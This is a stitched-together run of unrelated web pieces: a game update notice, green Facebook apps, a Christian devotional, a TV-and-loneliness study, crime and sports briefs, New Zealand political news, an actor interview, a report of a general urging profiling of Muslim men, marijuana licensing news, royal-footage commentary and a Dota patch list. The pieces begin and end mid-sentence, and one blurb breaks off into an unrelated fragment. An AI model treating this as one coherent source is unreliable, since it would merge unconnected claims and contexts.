The character sign-up screen would be the same, and players taking the third option would still be a Person of Mysterious and Indistinct Gender on their profile.
The changes were met with mixed feelings and opinions - understandably, as gender expression is a highly personal matter. Some players appreciated language that reflected acceptance, rather than confusion; others felt that the change restricted them and how they wanted to play the game. Many hoped that ‘Si-, er, Mad-, er, yes’ would remain, as they had grown very fond of it, and built their character with it in mind.
Having had the chance to see how the changes impacted on the game, and factoring in your feedback, we’ve made a few tweaks.
We have added 'Si-, er, Mad-, er, yes’ as an option for how your character is addressed. This is available to all characters, regardless of gender. If players wish to choose this (or a different title), they will find the option on 'The Roof-Tops: Urchins’ Opportunity Card.
In addition to that, to allow greater self-expression, players can choose any avatar cameo during character creation, regardless of gender.
Some of the changes temporarily removed 'Individual of Mysterious and Indistinct Gender’ from the 'Profile’ and the 'Myself’ pages within the game. This was unintended - and it should now have reappeared.
Once again, thank you for all your thoughts and feedback, it means a great deal to us. We’re always listening - any further feedback can be sent to feedback@failbettergames.com. As always, we hope that any changes made will only enhance your experience of Fallen London!Image source: Facebook
Oh Facebook. That 2.0 of Myspace, which allows members to catch up with frenemies from high school they never wanted to see again, as well as find embarrassing pictures about themselves the day after the all night kegger. But, with 90 million users, thats a lot of energy and potential mobilization for good that can also come out of the site. Here is a roundup of some of the green applications on Facebook that you too can use to save the planet, or at least learn about it.
1. Village Green Energy is using that potential to promote renewable energy projects in Northern California. When members add the "Green My Vino" application to their page they can give their friends "gifts." With each gift of one minute, five minutes or ten minutes, money is donated to a collective of wineries in northern California that pledge to the equivalent amount of renewable energy at the wineries.10,000 minutes of solar and wind gifts will power the entire winery at Iron Horse Vineyards. The project has already been so successful that the first four wineries: Iron Horse Vineyards, Girard Winery, Windsor Vineyards and Windsor Sonoma are all running on renewable energy. Ultimately if the projects is successful over 1.2 mW of solar will be installed - enough to power 500 California residents for a year. The next four vineyards to get green power are: Burning Hawk, Serghesio Family Vineyards, Benziger Family Winery, and DeLoach Vineyards.
2. SunChips is donating money to green Greensburg, Kansas, which was destroyed by a tornado last year. For every person that adds the SunChips widget on their page, Sunchips will donate $1 towards their goal of $50,000 to be used to re-plant trees. Almost all of the trees in Greensburg were killed during the tornado. *NOTE: For purposes of transparency, SunChips is an advertiser on Planetgreen
3. Green My RIde allows users to check off all of the green things they do and compete with other "green-heads" (their word, not mine) to see who is uber-green. Green My Ride, by Green Home is even giving away Renewable Energy Credits for members that score highest.
4. I am Green allows members to collect "leaves" for each of their green activities and also give friends green gifts. No prizes are given away, other than the sheer satisfaction of knowing green list is longer than everyone else. ahem.
5. TheG-Quiz, sponsored by Planet Green, lets members challenge each other to daily green quizzes to find out who is the ultimate Green God/Goddess/Geek/Guru or any other "G" word you can think of.
6. (lil) Green Patch looks a little bit like a game of strawberry shortcake but actually works to save the rainforest. Members get a, well, little green rectangle on their facebook page that they can decorate with strawberry-shortcake looking people, mushrooms and flowers, which actually goes to save the rainforest. Thus far, over 29,259,567 sq ft of rainforest have been saved.
Giving "gifts" on Treehugger is free to the user, takes seconds and brightens someone's day to know they are loved, why not help the planet at the same time?
More on Green Facebook
Greensburg Needs Your Help
Carpool With Facebook
Actics.com: The "Ethical" Facebook
GoLoco Hits Facebook“For not from the east or from the west and not from the wilderness comes lifting up, but it is God who executes judgment, putting down one and lifting up another.” Psalm 75:6-7
The lines of these two verses clearly identify God as the proponent for promotion and not Karma or chance or personal effort or any other method of advancement. It is God alone who builds up and tears down. That said, it is difficult to sit and watch ungodly people advance up the rungs of success and confusing for the dedicated Christian to understand why or how one gets promoted over another. Time and again the Bible addresses these very observances and informs us to not be distracted by them. Here are just a few verses you can look up later to see what I mean:
Job 21:7
Psalm 10:1-18
Psalm 37:7
Psalm 73:3
Psalm 94:3
Jeremiah 12:1
For us as Christians, it is beyond important that we be wiser than systems we find ourselves operating within. Reason being? We are Children of the Most High God, His workmanship, His pottery, His Creation, made in His image, we are of and from royalty. Our promotion is not of this world but during our time on this world if God sees fit to promote us, we must ask who the promotion is for and to what purpose?
Recently, I had the privilege of performing the invocation (Opening Prayer) for a Change of Command between two Majors. The departing Major had been in command for over 2 years and had a vast amount of experience. The incoming Major had much less experience both combat related, educationally and professionally. After praying for both men and their respective families as they take on their new missions, the outgoing commander spoke followed by the incoming commander. All of these things are typical functions of a Change of Command. The outgoing commander thanked God first and foremost and made no apologies for acknowledging who made it possible for him to complete his command time without even a hint of negative incidents. The incoming commander introduced himself to his new Soldiers and then said these words, “I want to thank my Lord and Savior Jesus Christ who made it possible for me to be here taking command today.” Both of these men are a great example of two leaders who understand who made it possible for them to serve in the capacities in which they did and do.
However, the fact that God is the proprietor of everyone’s advancement does not mean we are exempt from our Christian responsibilities. For example, from time to time I have soldiers come to me with work related issues. Undoubtedly, many of them are struggling with leaders over them who are perceived as either toxic, vindictive, selfish, and careless or many other descriptive words. The recent observations by the media of the hostilities people endure who work for Amazon.com comes to mind. When I speak with these soldiers, at some point I ask them about their faith or beliefs. Specifically, I ask how does their faith inform their everyday life and how do they observe their faith. Most of the Soldiers talk about falling away and being as faithful or praying every day and nothing happening or admitting that they need to look into faith a little more.
I have found, that when we Christians pray for our leaders in very specific terms and by name that God hears those prayers. One of the issues we Christians face today is a watered down approach to prayer that is much generalized in application. Seldom are we specific and rarely could one say overly specific. Unfortunately, expedience in this case is not a sign of efficient prayer warriors. Biblically, those men and women of God who came before us were specific in prayer and even a little long winded and repetitive. We could learn a lot from their methods. Although James is referencing confessing one’s sins, the second part of James 5:16 is equally applicable here: “The prayer of a righteous person has great power as it is working.”
Literally, lifting your leaders up in prayer specifically and oftentimes has the potential to bring about changes in your work environment and in the area of work related promotion that right now may seem utterly impossible. Godly men and women are to serve God through their day to day work and do so with consistency and humility.
Someone reading this may be thinking or expressing, “Yes, I agree but Chaplain you don’t know my work environment!” And, that person would be correct. However, God does! Not only does He know your work environment but He knows everything about it to include each person. Remember, all things are moving toward God and I am here to testify that God can and will use you to move you’re the organization you work within (regardless of size) toward Him. Others may be reading this and thinking, “There is no way on earth the company or business I work within every day could be moved toward God.” And, you may be correct. If this is the case, it may be time to look for work elsewhere and in a position where God can be glorified. I would make those changes wisely. In other words, do not take my comments here to mean you need to up and quit your job without planning ahead. Seek wise council and make sure you have explored every option first. Be sure to give God permission and time to work not only within your organization but within you and your coworkers. Some of us have a complex where we think we are the savior of our organization or our coworkers or ourselves. Such a complex is beyond dangerous and incredibly destructive. God’s will is not ours. It is us that are to conform to His will. We must get the direction right. If your day to day activities are all about how you can get ahead, that is not God’s will. Rather, we should be focused on how God can be glorified and if promotion comes as a result of our work and our effort then praise the Lord.
In today’s economy and America’s commerce it is easy to think that God wants me to be rich and successful while leading from the front. If this were the case, as powerful as God is, all Christians would be independently wealthy, Fortune 500 worthy, and New Times Bestsellers regarding leadership. The truth is we are not while on this earth. Granted a few of us are but I would wager we are talking about less than a tenth of a percent of Christians match the characteristics mentioned above.
Who and what we are in Eternity is another matter. For example, Ephesians 1:3 reads, “Blessed be the God and Father of our Lord Jesus Christ, who has blessed us in Christ with every spiritual blessing in the heavenly places…” All of which points back to my first paragraph. To think otherwise, sets us up for failure and not true success according to God. Real success only comes when God is glorified and made the goal of our aspirations.
How you apply your faith in your work environment is going to look different for each person and is as unique as each individual. The variables that are play in any given organization far outpace our ability to predict outcomes and probability is nowhere near our frame of reference as Christians. All the systems you and I work and live within are manmade but that does not mean they cannot be pointed in the right direction or revamped altogether.
A practical starting point is to imagine you organization as God centered as it is right now. By thinking through what that implies, the deficiencies of how they are not surface rather quickly. Those deficiencies have now become your specific prayer list for your organization, coworkers and self. Pray specifically over each of the things you discovered and you may want to bring others in on the prayer team. Bounce your prayer list off of others who you know to be people who pray and see what they think. They may bring new insight to your reality that you have not thought of individually or privately. Now you are practicing intercessory prayer which is more powerful than any of us realize.
Next, watch God do great things in you, your coworkers, and your organization that you never thought possible. As God changes and challenges your work environment, feel free to share the testimonies with us here at VTC that come from your “Fervent Prayer”. After all, Promotion is from the Lord!A Warm TV Can Drive Away Feelings of Loneliness and Rejection
Studies find that illusionary relationships with TV characters can give us real pleasure
BUFFALO, N.Y. -- Not all technology meets human needs, and some technologies provide only the illusion of having met your needs.
But new research by psychologists at the University at Buffalo and Miami University, Ohio, indicates that illusionary relationships with the characters and personalities on favorite TV shows can provide people with feelings of belonging, even in the face of low self esteem or after being rejected by friends or family members.
The findings are described in four studies published in the current issue of the Journal of Experimental Social Psychology.
"The research provides evidence for the'social surrogacy hypothesis,' which holds that humans can use technologies, like television, to provide the experience of belonging when no real belongingness has been experienced," says one of the study's authors, Shira Gabriel, Ph.D., UB assistant professor of psychology.
"We also argue that other commonplace technologies such as movies, music or interactive video games, as well as television, can fulfill this need."
Shira's co-authors are Jaye L. Derrick, Ph.D., postdoctoral associate and adjunct instructor of psychology at UB, and Kurt Hugenberg, Ph.D., assistant professor of psychology at Miami University.
The first study, of 701 undergraduate students, used the Loneliness Activities Scale and the Likelihood of Feeling Lonely Scale to find that subjects reported tuning to favored television programs when they felt lonely and felt less lonely when viewing those programs.
Study 2 used essays to experimentally manipulate the belongingness needs of 102 undergraduate subjects and assess the importance of their favored television programs when those needs were stimulated. Participants whose belongingness needs were aroused reveled longer in their descriptions of favored television programs than in descriptions of non-favored programs, the study found.
Study 3 of 116 participants employed the Rosenberg Self-Esteem Scale, the Positive and Negative Affect Schedule and an eight-item measure of feelings of rejection to find that thinking about favored television programs buffered subjects against drops in self-esteem, increases in negative mood and feelings of rejection commonly elicited by threats to close relationships.
Study 4 asked 222 participants to write a 10-minute essay about their favorite television program, and then to write about programs they watch "when nothing else is on," or about experiencing an academic achievement. They were then asked to verbally describe what they had written in as much detail as possible.
After writing about favored television programs, the subjects verbally expressed fewer feelings of loneliness or exclusion than when verbally describing either of the two control situations (essays about programs watched when nothing else is on, academic achievement). This is evidence, say the researchers, that illusionary or "parasocial" relationships with television characters or personalities can ease belongingness needs.
It remains an open question, say the researchers, whether social surrogacy suppresses belongingness needs or actually fulfills them, and they acknowledge that the kind of social surrogacy provoked by these programs can be a poor substitution for "real" human-to-human experience.
"Turning one's back on family and friends for the solace of television may be maladaptive and leave a person with fewer resources over time," says UB's Derrick, "but for those who have difficulty experiencing social interaction because of physical or environmental constraints, technologically induced belongingness may offer comfort."
The University at Buffalo is a premier research-intensive public university, a flagship institution in the State University of New York system and its largest and most comprehensive campus. UB's more than 28,000 students pursue their academic interests through more than 300 undergraduate, graduate and professional degree programs. Founded in 1846, the University at Buffalo is a member of the Association of American Universities.Jealous man cuts off penis of wife's lover, flushes it
Garden shears like these were used to cut off a man's genitals in an alleged crime of passion in Tokyo. Garden shears like these were used to cut off a man's genitals in an alleged crime of passion in Tokyo. Photo: De Agostini/Getty Images Photo: De Agostini/Getty Images Image 1 of / 1 Caption Close Jealous man cuts off penis of wife's lover, flushes it 1 / 1 Back to Gallery
A Tokyo graduate student whose wife was apparently having a romance with a co-worker burst into their office, beat the man nearly senseless, pulled down his rival's pants and snipped off his penis with garden shears, police say.
He then flushed the severed genitals down the toilet, according to an AFP report.
Police arrested the student, 24-year-old Ikki Kotsugai, shortly after the 7:40 a.m. Thursday attack at the law office in the city's Minato ward.
Kotsugai is a former university boxer, according to public broadcaster NHK. He was charged with inflicting bodily harm.
The condition of the victim, an unidentified 42-year-old lawyer, was not known. Kotsugai's wife was reportedly present when her husband charged in and began punching the paramour in the face.College Football Podcasts Sports Sports Podcasts
Old Fashioned College Football Podcast: 2013 Week 2 Review
By Demetrios Manos Published on September 10th, 2013
Week 2 Review
The boys are back with some Old Fashioned College Football. We discuss how the AP Top 25 did, what our records look after one week of predictions, and our awards after Week 2. Click that play button to have a listen!
AP Top 25 Games – Results
1 Alabama Bye
2 Oregon @ Virginia: Oregon 59-10 Thomas – Oregon, Demetrios – Oregon
San Diego State @ 3 Ohio State: Ohio State 42-7 Thomas – Ohio, Demetrios – Ohio
South Carolina State @ 4 Clemson: Clemson 52-13 Thomas – Clemson, Demetrios – Clemson
San Jose State @ 5 Stanford: Stanford 34-13 Thomas – Stanford, Demetrios – Stanford
6 South Carolina @ 11 Georgia: Georgia 41-30 Thomas – Georgia, Demetrios – Georgia
Sam Houston State @ 7 Texas A&M: Texas A&M 65-28 Thomas – Texas A&M, Demetrios – Texas A&M
Eastern Kentucky @ 8 Louisville: Louisville 44-7 Thomas – Louisville, Demetrios – Louisville
UAB @ 9 LSU: LSU 56-17 Thomas – LSU, Demetrios – LSU
10 Florida State Bye
12 Florida @ Miami (FL): Miami (FL) 21-16 Thomas – Miami (FL), Demetrios – Miami (FL)
13 Oklahoma State @ UTSA: Oklahoma State 56-35 Thomas – Oklahoma State, Demetrios – Oklahoma State
GAME OF THE WEEK – 14 Notre Dame @ 17 Michigan: Michigan 41-30 Thomas – Michigan, Demetrios – Michigan
15 Texas @ BYU: BYU 40-21 Thomas – Texas, Demetrios – Texas
West Virginia @ 16 Oklahoma: Oklahoma 16-7 Thomas – Oklahoma, Demetrios – Oklahoma
18 UCLA Bye
Syracuse @ 19 Northwestern: Northwestern 48-27 Thomas – Northwestern, Demetrios – Northwestern
Tennessee Tech @ 21 Wisconsin: Wisconsin 48-0 Thomas – Wisconsin, Demetrios – Wisconsin
Southern Miss @ 22 Nebraska: Nebraska 56-13 Thomas – Nebraska, Demetrios – Nebraska
Southeastern Louisiana @ 24 TCU: TCU 38-17 Thomas – TCU, Demetrios – TCU
Washington State @ 25 USC: Washington State 10-7 Thomas – USC, Demetrios – USC
Tennessee-Martin @ Boise State: Boise State 63-17 Thomas – Boise State, Demetrios – Boise State
Hawaii @ Oregon State: Oregon State 33-14 Thomas – Oregon State, Demetrios – Oregon State
*Neutral Site
After Week 2 Records
Last Weeks Record
Demetrios: 19-3
Thomas: 19-3
This Weeks Record
Demetrios: 18-2
Thomas: 18-2
Overall Records Thru Week 2
Demetrios: 37-5
Thomas: 37-5
Awards for the Week
Offensive Player of the Week
Demetrios: Jeremy Gallon, Michigan, 8 Receptions 184 Yards 3 TD’s
Defensive Player of the Week
Demetrios: Za’Darius Smith, Kentucky, 6 Tackles 3 Sacks
Surprise Team of the Week
Demetrios: Washington State
Disappointing Team of the Week
Demetrios: USC
Upset of the Week
Demetrios: Miami (FL) over Florida
Heisman Race Watch After Week 2
Demetrios
1. Marcus Mariota, 14-28, 199 Passing Yards 2 TD’s, 4 Carries 122 Yards, 1 TD
2. Teddy Bridgewater, 23-32, 397 Passing Yards 4 TD’s
3. Tahj Boyd, 14-23, 169 Passing Yards, 10 Rushing Yards, 1 TD
4. A.J. McCarron, Bye Week
5. Johnny Manziel, 28-41, 403 Passing Yards 3 TD’s, 1 INT, 7 Carries 36 Yards 1 TD
Thomas:
1. Marcus Mariota, 12-21, 14-28, 199 Passing Yards 2 TD’s, 4 Carries 122 Yards, 1 TD
2. Teddy Bridgewater, 23-32, 397 Passing Yards 4 TD’s
3. Tahj Boyd, 14-23, 169 Passing Yards, 10 Rushing Yards, 1 TD
4. AJ McCarron, Bye Week
5. Johnny Manziel, 28-41, 403 Passing Yards 3 TD’s, 1 INT, 7 Carries 36 Yards 1 TD
Share This Post:Speaker of the House David Carter says the public don't have the right to know what was in a draft report that led to the resignation of the Auditor-General.
Photo: VNP / Daniela Maoate-Cox
Martin Matthews resigned yesterday after what RNZ understands was a highly critical report into his handling of a major fraud while he was the Transport Ministry chief executive.
Former Transport Ministry employee Joanne Harrison was jailed for three and a half years after stealing more than $700,000 under Mr Matthews' watch.
RNZ News understands Mr Matthews was told that if he didn't resign, Parliament would hold a vote of no confidence in him.
The Officers of Parliament Committee is now refusing to release the $27,000 report.
Mr Carter, who leads the select committee, told Morning Report it was only a draft report, and there was a unanimous cross-party decision not to make it public.
He said he could not say whether a deal was done with Mr Matthews to keep the report secret, saying any such discussion would break Parliament's rules.
The report, by senior public servant Sir Maarten Wevers, was presented to the committee while still in its draft form, Mr Carter said.
"It then goes to Mr Martin Matthews for him to make comments. He made very substantial comments and was very critical of aspects of the draft report that was given to us."
The committee had to decide whether to finalise the report and Mr Matthews' response and present a "final report" as an attachment to its own report, he said.
"There would be a considerable amount of work to work through the rebuttal statements that we've received. It would take a long time to get an accurate report.
"The committee discussed that course of action, and unanimously said no, in view of the fact a resignation has been received, we see no further gain in continuing to meet to finalise the report."
Morning Report's Guyon Espiner asked if the committee had agreed with Mr Matthews that the report into his actions would not be made public as a condition of his resignation.
"I don't think there was, and certainly I'm not at liberty to discuss [it]," Mr Carter said.
He agreed he was equivocating on the situation, and said that was because it would break the rules for him to breach the confidentiality of the committee's discussions.
Since Mr Matthews' appointment, Mr Carter said, a large amount of information had started to surface in the media that was undermining the integrity of the Office of the Auditor-General.
"Martin Matthews then considers the situation, he considers the effect this is having on the integrity of the office itself, and he chooses to resign.
"The committee then says it's going to refuse to do any further work and meet [again on the matter]. We've only got two weeks [left] of this Parliament."
The only political parties not represented on the select committee were United Future and ACT, who had just one MP each.
But United Future's Peter Dunne and ACT's David Seymour had been kept updated on the committee's decisions, Mr Carter said.Nick Blood, the actor who plays Lance Hunter on Marvel’s Agents of S.H.I.E.L.D., took time to talk to ComicBook.com about his character’s increasingly important role on the show.
In the first part of our interview, Blood discussed the war between Phil Coulson’s S.H.I.E.L.D. and Robert Gonzales’ S.H.I.E.L.D. In this, our second part, Blood discusses last night’s episode, “Aftermath,” the Avengers, and Lance Hunter’s comic book history.
In “Afterlife,” Lance mentions that he was off on “vacation” for a week. Will we ever find out what exactly he was up to? Is that something of significance? I think it’s partly tongue-in-cheek, him having a bit of fun. I don’t think he was up to anything particularly interesting. He probably spent most of it in a hibernation pod, so it probably wouldn’t make for very interesting television [laughs].
Compared to the other characters on the show, Lance comes off as a character that’s a bit simpler than his comrades, being that he’s more of a soldier than a spy. In the comics, he’s more of a spy, heading up the S.T.R.I.K.E. organization. Might there still be some secrets to uncover about Hunter going forward? I think we start to learn a bit more about their history – Hunter, Bobbi, Mack, how they got together and so on, and a little bit of the history of Lucy Lawless’ character, Hartley – we caught a bit of that in the last episode. But I think a lot of that is still to come, you know? I think there’s a lot about Hunter that we haven’t learned yet, and part of his appeal is that element of mystery about him. I think we’ll get to uncover more of that as the show goes forward.
At the end of “Afterlife,” we see that Coulson and Hunter are going to find Grant Ward. In some ways, Hunter has filled the tactical spot left on Coulson’s team by Ward’s absence. If Hunter and Ward come up face to face, how do you think that altercation goes? Well, the interesting thing is that Hunter doesn’t have that history with Ward, so for him he’s just, like, another guy. Another guy who’s on their list that they need to watch out for. I kind of like that about the dynamic with those two, is they’re kind of anonymous with each other, to a certain extent. You’ll probably see a bit of them crossing paths. How that kind of develops is all to be played forward, because I think that’s a relationship yet to be explored. Agents of S.H.I.E.L.D.has been mostly in it’s own segment of the of the Marvel Cinematic Universe this season, even more so than the last, but if you had a chance to work with someone from the largely MCU…
It would have to be Robert Downey Jr., I think. That seems to be the popular answer when we ask these kinds of questions. [Laughs] Yeah, I like him a lot. He’s a great actor and always brings a lot of personality to any character he plays, so I think it would be a lot of fun to be on set with him and learn and everything, so, I’m definitely going to have to say Iron Man, Robert Downey Jr.Editorial Note: The following news reports are summaries from original sources. They may also include corrections of Arabic names and political terminology. Comments are in parentheses.
US Retired General, Thomas McInerney, Urges Strip Search and Profiling of Muslim Men
US general urges strip search of Muslim men Sun, 03 Jan 2010 17:51:55 GMT Lt. General Thomas McInerney spokes to Fox News about what he called pending terror attacks on US airliners.
A retired US general and member of Iran Policy Committee (IPC) says all 18 to 28 years old Muslim men should be strip-searched at airports as "one of these bombers" will explode an airliner in the coming days.
Thomas McInerney, a retired Lt. Genera with the US Air Force, told Fox News television on Saturday that within the next 30 to 120 days, "there is a danger of high probability" awaiting US airliners.
"If you are an 18 to 28-year-old Muslim man then you should be strip-searched. And if we don't do that there's a very high probability we're going to lose an airline," he said.
The retired general went on to say that US officials should profile all Muslims. "We have to use profiling. And I mean be very serious and harsh about the profiling."
Asked if such a racial approach would not "generate more hatred and violence towards the West," McInerney said he did not want "a racial profile."
"I want to profile on that group that we have enough evidence from 9/11, and other [high-profile] cases that we know what we are looking at," he said.
The suggestions made by the US retied general comes on the heels of a purported bomb attack on a US transatlantic airliner on Christmas Day by Umar Farouk Abdulmutallab, a Nigerian who allegedly received al-Qaeda training in Yemen.
Lawmakers and congressional leaders in the US have echoed similar sentiments by urging President Obama abandon or suspend his plan to shutter the Guantanamo Bay Prison.
Around half of the remaining Gitmo detainees are from Yemen, and of those, about 40 have been cleared for release.
RB/MD
Fair Use Notice This site contains copyrighted material the use of which has not always been specifically authorized by the copyright owner. We are making such material available in our efforts to advance understanding of environmental, political, human rights, economic, democracy, scientific, and social justice issues, etc. We believe this constitutes a 'fair use' of any such copyrighted material as provided for in section 107 of the US Copyright Law. In accordance with Title 17 U.S.C. Section 107, the material on this site is distributed without profit to those who have expressed a prior interest in receiving the included information for research and educational purposes. For more information go to: http://www.law.cornell.edu/uscode/17/107.shtml. If you wish to use copyrighted material from this site for purposes of your own that go beyond 'fair use', you must obtain permission from the copyright owner.Corks! Jago and Litefoot's ninth series for Big Finish is coming very soon, and there's now a trailer available...
Those intrepid investigators, those diviners of danger, those alliterative alumni, turn heroic holidaymakers in April's Jago & Litefoot Series 9 from Big Finish, coming later in the month:
The Flying Frenchmen (by Jonathan Morris)
Jago and Litefoot embark on a cruise. It’s supposed to be a relaxing break, but what terrors lurk in the mysterious fog? And what about the other ships that seem trapped along with the Fata Morgana – are they friend or foe? Or something much more frightening?
The Devil’s Dicemen (by Justin Richards)
Arriving at Monte Carlo, Jago is keen to try his luck at the famous casino. But if he’s not careful he could lose a lot more than just money. While Litefoot makes a new friend, Jago and ship’s purser Aubrey find themselves |
position in American society.
“You come down from that office and work on the floor with me,” Andrew Little screamed through a bullhorn pointed directly into his workplace at Victoria’s Secret, directing his statement to management.
Referencing a nearby window display he said he set up reading “Life is Fabulous,” he yelled, “Life isn’t fabulous for me!”The 15 marijuana growers and the first wave of processors that together will launch Maryland's medical marijuana industry could be chosen as soon as Aug. 5, state officials announced Tuesday.
The licensing decisions come after months of delay for the hundreds of applicants seeking to grow and process medical marijuana in Maryland. The initial plan was to issue licenses by February.
State lawmakers crafted a program with a limited number of suppliers and a wide base of potential customers, attracting more than 1,000 investors.
The program has been slow to get off the ground; the highly competitive applications have been undergoing a review and ranking by Towson University's Regional Economic Studies Institute since December.
On Tuesday, Patrick Jameson, the Medical Cannabis Commission's new executive director, derided the process as having taken "too long" and called it "too cumbersome" and "too expensive."
Commission members did not respond to Jameson's criticism, except to say they were disappointed by his comments and believed they had accomplished a lot within their first year before he came on board in April.
Paul Davies, a physician and chairman of the state's Natalie M. LaPrade Medical Cannabis Commission, said the commission would publicly review the top-ranked growing and processing applications within weeks and decide which would receive preliminary licenses.
The soonest that could happen is likely Aug. 5, he said, but he declined to set a date.
"We don't want to waste a single day," Davies said. "It's going to be an exciting few weeks."
Preliminary licenses for up to 94 dispensaries will be awarded later, officials said.
Jameson, who was appointed by Gov. Larry Hogan, said the commission's public review for growers and processors will be based on rankings that removed all identifying information from the applications. Although the commission will pick the top applicants, the identities of the winners won't be revealed until a few days later.
"Nobody's going to know anything," Jameson said.
Once granted preliminary approval, the companies must pay large licensing fees to the state and undergo a series of inspections before obtaining licenses to operate.
After the licenses are issued, the drug should be ready for patients in about six months, Davies said.
Maryland set among the highest medical marijuana licensing fees in the country, but nonetheless attracted a crush of investors eager to get into the business.
Compared with the other 24 states with medical marijuana programs, Maryland plans relatively few grower and dispensary licenses. But it allows a range of medical professionals — including dentists — to recommend the drug, and it allows them to suggest it for patients who do not live in the state.
Industry experts say the tightly controlled supply and broad, built-in demand makes Maryland an intriguing market. Maryland is also the southernmost state on the Eastern Seaboard to legalize medical marijuana.
Competition for the licenses is fierce because investors view the medical marijuana industry as a potential precursor to a recreational marijuana industry. Marijuana industry analyst ArcView Market Research estimates the U.S. recreational marijuana industry will take in $6.7 billion in revenue this year and projects it to more than triple to $21.8 billion by 2020.
ecox@baltsun.com
twitter.com/ErinatTheSunIt is difficult to be critical of the Sun for publishing the footage of the Queen, aged seven, rehearsing the Nazi salute.
Once the newspaper had obtained the film, what was it supposed to do? Suppress it? Hand it in to the palace? It was bound to publish it and, in so doing, make as much noise about it as possible.
I can understand that the Queen thinks its publication “disappointing”, but it hardly merits condemnation. After all, although a little embarrassing for the 89-year-old monarch, it is not going to change anyone’s view of her.
People will see the incident for what it was - a politically unaware child doing the bidding of her uncle and her mother.
So she will not suffer a backlash from the British public. Nor is there likely to be a re-evaluation of her mother. And even those who believe Edward VIII to have been a Nazi sympathiser cannot really adduce this as proof positive of his supporting Adolf Hitler.
What is missing is the exact context of the incident. They could well have been parodying Germany’s fascist chancellor. Plenty of people who abhor Hitler and all his works have made their point by doing spoof Nazi salutes.
The most likely reading of the 17-second film fragment is that they were simply indulging in horseplay, as its editorial suggests.
The Sun, if one reads the seven pages devoted to the story, clearly attempts to put the images in an historical context and goes out of its way to say it casts no aspersions on the Queen, her mother and, of course, the Queen’s three-year-old sister, Margaret.
Where the Sun is surely overstating its case is in asserting that Edward - then the Prince of Wales - was “already a fan of Hitler”. I don’t think that can be deduced from the footage.
He is, said the paper, “apparently teaching his royal nieces the same Nazi greeting he would give Hitler personally at his mountain retreat four years later.” The film therefore provided “a fascinating insight into the warped prejudices of Edward VIII.”
I don’t think that stands up. The Sun can’t have it both ways. It was either a bit of a lark or a serious lesson? And the smiles tend to suggest the former.
Despite that, the argument advanced on Radio 4’s Today programme by the Sun’s managing editor, Stig Abell, that it is “an interesting piece of social history”, still stands up.
This was Britain’s royal family at play in a way we have never previously witnessed and I think it more interesting to observe the apparent warmth of the friendship between Edward and his sister-in-law, the Queen Mother.
After his abdication, forcing her unprepared husband, George VI, on to the throne, she had no time at all for the man who became the Duke of Windsor.
It should also be said that from the outbreak of war, and for the rest of her long life, the Queen Mother held strong anti-German feelings.
The other objection raised by the palace in its statement is that the Sun “exploited” the film. Of course it did. So what? That doesn’t really stand up as a valid criticism because any newspaper in possession of a scoop, whatever market it serves, would do the same.
I guess there will be objections over the course of the coming days about it being an invasion of privacy. If so, they can also be ignored. The royal family is a family apart. The normal rules do not apply because of their privileged position.
NB: It is a long time since the Sun has upset the Queen. In the 1980s and 90s, it did so on a regular basis. In 1982, the Sun’s then editor, Kelvin MacKenzie, snubbed an invitation to meet the Queen when she called on editors to moderate their coverage of Princess Diana. The paper, in company with several others, ignored the plea.
In 1993, the Sun published the Queen’s Christmas speech before she had delivered it and was forced to carry a front page apology.Baltimore Ravens safety Matt Elam not only succeeded in stoking Calvin Johnson's competitive fire by taking a shot at the Detroit Lions wide receiver's age. The rookie also has left his teammates and coaches shaking their heads in bewilderment.
"You just kind of look at him and say, 'Dude, what are you thinking? It's Calvin Johnson,'" quarterback Joe Flacco said Thursday on a conference call with Detroit reporters.
Coach John Harbaugh did his best to diffuse the war of words, joking that "everybody's old to Matt Elam."
Harbaugh also made it clear that Elam should be seen and not heard going forward.
"Hopefully he learns from his opportunity to speak to the media," Harbaugh said, via The Baltimore Sun.
The Ravens realize Elam will have a target on his back in Detroit on "Monday Night Football." Flacco spent Thursday's practice taking shots downfield at Elam to prepare him for the lethal Matthew Stafford-to-Johnson connection.
We preview "Thursday Night Football" and play another round of "Win Wess' Toaster" on the latest "Around The League Podcast." Listen in, won't you?Torte de Lini Profile Joined September 2010 Germany 7680 Posts #2561 DRAFT Patch 6.83
+ Show Spoiler + Unchanged
Abaddon
Alchemist
Axe
Bane
Beastmaster
Bountyhunter
Brewmaster
Bristleback
Broodmother
Chaos Knight
Clinkz
Clockwerk
Crystal Maiden
Dark Seer
Dazzle
Death Prophet
Disruptor
Dragon Knight
Earth Spirit
Earthshaker
Elder Titan
Enchantress
Faceless Void
Gyrocopter
IO
Jakiro
Juggernaut
Keeper of the Light
Leshrac
Lifestealer (update descriptions)
Lina
Lion
Luna
Meepo
Morphling
Night Stalker (update descriptions)
Ogre Magi
Outworld Devourer
Phantom Assassin
Phoenix
Pudge
Pugna
Riki
Rubick
Shadow Fiend
Silencer
Skywrath Mage
Slardar
Slark
Spirit Breaker
Storm Spirit
Sven
Techies
Terrorblade
Tidehunter
Tinker
Tiny
Treant Protector
Troll Warlord
Tusk
Undying
Vengeful Spirit
Visage
Warlock
Windranger
AbaddonAlchemistAxeBaneBeastmasterBountyhunterBrewmasterBristlebackBroodmotherChaos KnightClinkzClockwerkCrystal MaidenDark SeerDazzleDeath ProphetDisruptorDragon KnightEarth SpiritEarthshakerElder TitanEnchantressFaceless VoidGyrocopterIOJakiroJuggernautKeeper of the LightLeshracLifestealer (update descriptions)LinaLionLunaMeepoMorphlingNight Stalker (update descriptions)Ogre MagiOutworld DevourerPhantom AssassinPhoenixPudgePugnaRikiRubickShadow FiendSilencerSkywrath MageSlardarSlarkSpirit BreakerStorm SpiritSvenTechiesTerrorbladeTidehunterTinkerTinyTreant ProtectorTroll WarlordTuskUndyingVengeful SpiritVisageWarlockWindranger
Item Changes
Bloodseeker
Drow Ranger
Lone Druid
Skill Changes
Chen (update descriptions as well)
Huskar
Kunkka
Queen of Pain
Sniper
Legion Commander
Alchemist (Lane?)
Item Application
Animal Courier (supports)
Clarity (Earthshaker/Techies)
Diffusal Blade (Templar Assassin/Ursa/Troll Warlord)
Healing Salve
Magic Wand
Medallion of Courage
Pipe of Insight (Centaur Warrunner) BloodseekerDrow RangerLone DruidChen (update descriptions as well)HuskarKunkkaQueen of PainSniperLegion CommanderAlchemist (Lane?)Animal Courier (supports)Clarity (Earthshaker/Techies)Diffusal Blade (Templar Assassin/Ursa/Troll Warlord)Healing SalveMagic WandMedallion of CouragePipe of Insight (Centaur Warrunner) https://twitter.com/#!/TorteDeLini (@TorteDeLini)
